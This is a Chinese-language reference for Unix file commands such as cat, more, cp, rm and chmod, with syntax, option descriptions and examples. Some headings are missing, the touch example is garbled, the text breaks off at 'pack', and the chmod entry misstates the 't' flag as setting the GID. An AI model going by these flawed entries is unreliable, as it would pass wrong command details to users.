[语法]: cat [-u] [-s] [-v[-t] [-e]] 文件... [说明]: 显示和连接一个或多个文件至标准输出 -u 无缓冲的输出(缺省为有缓冲输出) -s 对不存在的文件不作提示 -v 显示出文件中的非打印字符，控制字符显示成^n ，n为八进制数字， 其他非打印字符显示成M-x ， x 为该字符低7位的8进制数值 -t 在使用-v 选项时，将制表符（tab） 显示成 ^I，将换页符 （formfeed）显示成 ^ L -e 在使用-v 选项时，在每一行的行尾显示 $ [例子]: cat file 显示文件 cat -s -v -e file1 file2 file3 逐个显示文件 file1 file2 file3
[语法]: head [-n] [文件 ...] [说明]: 将文件的头n 行显示输出,缺省值为 10 行，显示多个文件时，在每个文件的前面加上 ==& 文件名 &== [例子]： head -9999 file1 file2 显示文件 file1 和 file2 的头 9999 行
[语法]: more [-cdflrsuw] [－ 行数] [+ 行数] [+ / 模式 ] [ 文件 ... ] [说明]: 将文件显示在终端上，每次一屏，在左下部显示 －－more－－，若是从文件读出而非从管道，则在后面显示百分比，表示已显示的部分，按回车键则上滚一行，按空格键则上滚一屏，未显示完时可以使用more 命令中的子命令。 -c 显示文件之前先清屏 -d 当输错命令时显示错误信息而不是响铃(bell) -f 不折叠显示长的行 -l 不将分页控制符(CTRL D)当作页结束 -r 一般情况下，more 不显示控制符，本选项使more 显示控制符， 例如，将 (CTRL C) 显示成 ^ C -s 将多个空行转换成一个空行显示 -u 禁止产生下划线序列 -w 一般情况下 more 显示完后立即推出，本选项在显示完后作提 示，敲任意键后推出 -n 行数 指定每屏显示的行数 + 行号 从指定行号开始显示 +/模式 在文件中搜索指定模式，从模式出现行的上两行开始显示 文件未显示完时，可以使用more 命令中的子命令，命令中除了! 和 / 以外均不回显，也不用敲回车，当命令破坏 more 提示行时，可用退格键恢复提示行。在以下子命令操作中，i 表示数字，缺省值为 1。 i 空格 上滚一屏多 i 行 i 回车 上滚 i 行 i CTRL+D i 缺省时上滚 11 行，否则上滚 i 行 id i 缺省时上滚 11 行，否则上滚 i 行 iz i 缺省时上滚一屏，否则定义每屏为 i 行 is 跳过 i 行后显示一屏 if 跳过 i 屏后显示一屏 i CTRL+B 跳回 i 屏后显示一屏 b 跳回 一屏后显示一屏 q 或 Q 推出 more = 显示当前行号 v 从当前行开始编辑当前文件编辑器由环境变量 $EDITOR定义 h 显示帮助信息 i / 模式 向前搜索，直至模式的第 i 次出现 ， 从该行的上 两行开始显示一屏 in 向前搜索，直至上一模式的第 i 次出现 ， 从该行 的上两行开始显示一屏 单引号 回到上次搜索的出发点，若无搜索则回到开始位置 ! 命令 激活一个sh 去执行指定的命令 i ： n 跳到后面第 i 个文件，若不存在则跳到最后一个文件 ：f 显示当前文件名和行号 ：q 或 ：Q 推出 more . (点) 重复上次命令 [ 例子]: more -c +50 file 清屏后，从第50行开始显示文件 file more -s -w file1 file2 file3 显示文件 file1 file2 file3
[语法]: cp [ -p ] [ -r ] 文件 1 [ 文件 2 ...] 目标 [说明]: 将文件1(文件2 ...)拷贝到目标上，目标不能与文件同名， 若目标是文件名，则拷贝的文件只能有一个，若目标是目录， 则拷贝的文件可以有多个，若目标文件不存在，则建立这个文件，若存在，则覆盖其以前的内容，若目标是目录，则将文件拷贝到这个目录下。 - i 在覆盖已存在文件时作提示，若回答 y 则覆盖，其他则中止 - p 不仅拷贝文件内容，还有修改时间，存取模式，存取控制表， 但不拷贝 UID 及 GID - r 若文件名为目录，则拷贝目录下所有文件及子目录和它们的文件，此时 目标必须为目录 [例子]: cp file1 file2 将文件 file1 拷贝到文件 file2 cp file1 file2 /tmp 将文件 file1 和文件 file2 拷贝到目录 /tmp 下 cp -r /tmp /mytmp 将目录 /tmp 下所有文件及其子目录拷贝至目录/mytmp
[语法]: mv [-f] [-i] 文件1 [文件2...] 目标 [说明]: 将文件移动至目标，若目标是文件名，则相当于文件改名 - i 在覆盖已存在文件时作提示，若回答 y 则覆盖，其他则中止 - f 覆盖前不作任何提示 [例子]: mv file1 file2 将文件 file1 改名为 file2 mv file1 file2 /tmp 将文件 file1 和文件 file2 移动到目录 /tmp 下
[语法]: rm [-f] [-i] 文件... 或 rm -r [-f] [-i] 目录名... [文件] [说明]: 用来删除文件或目录 - f 删除文件时不作提示 - r 递归地删除目录及其所有子目录 - i 删除文件之前先作提示 [例子]: rm file1 删除文件 file1 rm -i /tmp/* 删除目录 /tmp 下的所有文件 rm -r /mytmp 递归地删除目录 /mytmp
1.12 chmod
[语法]: chmod [-R] 模式 文件... 或 chmod [ugoa] {+|-|=} [rwxst] 文件... [说明]: 改变文件的存取模式，存取模式可表示为数字或符号串，例如： chmod nnnn file ， n为0-7的数字，意义如下: 4000 运行时可改变UID 2000 运行时可改变GID 1000 置粘着位 0400 文件主可读 0200 文件主可写 0100 文件主可执行 0040 同组用户可读 0020 同组用户可写 0010 同组用户可执行 0004 其他用户可读 0002 其他用户可写 0001 其他用户可执行 nnnn 就是上列数字相加得到的，例如 chmod 0777 file 是指将文件 file 存取权限置为所有用户可读可写可执行。 -R 递归地改变所有子目录下所有文件的存取模式 u 文件主 g 同组用户 o 其他用户 a 所有用户 + 增加后列权限 - 取消后列权限 = 置成后列权限 r 可读 w 可写 x 可执行 s 运行时可置UID t 运行时可置GID [例子]: chmod 0666 file1 file2 将文件 file1 及 file2 置为所有用户可读可写 chmod u+x file 对文件 file 增加文件主可执行权限 chmod o-rwx 对文件file 取消其他用户的所有权限
1.13 chown
[语法]: chown [-R] 文件主 文件... [说明]: 文件的UID表示文件的文件主，文件主可用数字表示， 也可用一个有效的用户名表示，此命令改变一个文件的UID，仅当此文件的文件主或超级用户可使用。 -R 递归地改变所有子目录下所有文件的存取模式 [例子]: chown mary file 将文件 file 的文件主改为 mary chown 150 file 将文件 file 的UID改为150
1.14 chgrp
[语法]: chgrp [-R] 文件组 文件... [说明]： 文件的GID表示文件的文件组，文件组可用数字表示， 也可用一个有效的组名表示，此命令改变一个文件的GID，可参看chown。 -R 递归地改变所有子目录下所有文件的存取模式 [例子]: chgrp group file 将文件 file 的文件组改为 group
[语法]: cmp [-l] [-s] 文件1 文件2 [说明]: 比较两个文件，若文件1 为 "-" ，则使用标准输入， 两个文件相同则无提示，不同则显示出现第一个不同时的字符数和行号。 -l 显示每个不同处的字节数(10进制)和不同的字节(8进制) -s 不作任何提示，只返回码 [例子]: cmp file1 file2 比较文件 file1 和 file2 cmp -l file1 file2 比较文件file1 和 file2 的每处不同
[语法]: diff [-be] 文件1 文件2 [说明]: 本命令比较两个文本文件，将不同的行列出来 -b 将一串空格或TAB转换成一个空格或TAB -e 生成一个编辑角本，作为ex或ed的输入可将文件1转换成文件2 [例子]: diff file1 file2 diff -b file1 file2 diff -e file1 file2 &edscript
[语法]: wc [-lwc] 文件... [说明]: 统计文件的行、字、字符数，若无指定文件，则统计标准输入 -l 只统计行数 -w 只统计字数 -c 只统计字符数 [例子]: wc -l file1 file2 统计文件file1和file2 的行数
1.18 split
[语法]: split [-n] [ 文件 [名字]] [说明]: split 将指定大文件分解为若干个小文件，每个文件长度为n行(n 缺省时为1000)，第一个小文件名为指定的名字后跟aa，直至zz，名字缺省值为x，若未指定大文件名，则使用标准输入 [例子]: split -500 largefile little 将文件largefile 每500行写入一个文件，第一个文件名为littleaa
1.19 touch
[语法]: touch [-amc] [mmddhhmm[yy]] 文件... [说明]: 将指定文件的访问时间和修改时间改变，若指定文件不存在则创建之，若无指定时间，则使用当前时间，返回值是未成功改变时间的文件个数，包括不存在而又未能创建的文件。 -a 只改变访问时间 -m 只改变修改时间 -c 若文件不存在，不创建它且不作提示 mmddhhmm[yy] 两位表示 月日时分[年] [例子]: touch file 更新文件file的时间 touch
HongKong 将文件HongKong的时间改为97年7月1日0时0分
[语法]: file [-f 文件名文件] 文件... [说明]: file 对指定文件进行测试，尽量猜测出文件类型并显示出来 -f 文件名文件 文件名文件是一个包含了文件名的文本文件， -f 选项测试 文件名文件中所列出的文件 [例子]: file * 显示当前目录下所有文件的类型
[语法]: pack 文件... [说明]: pack }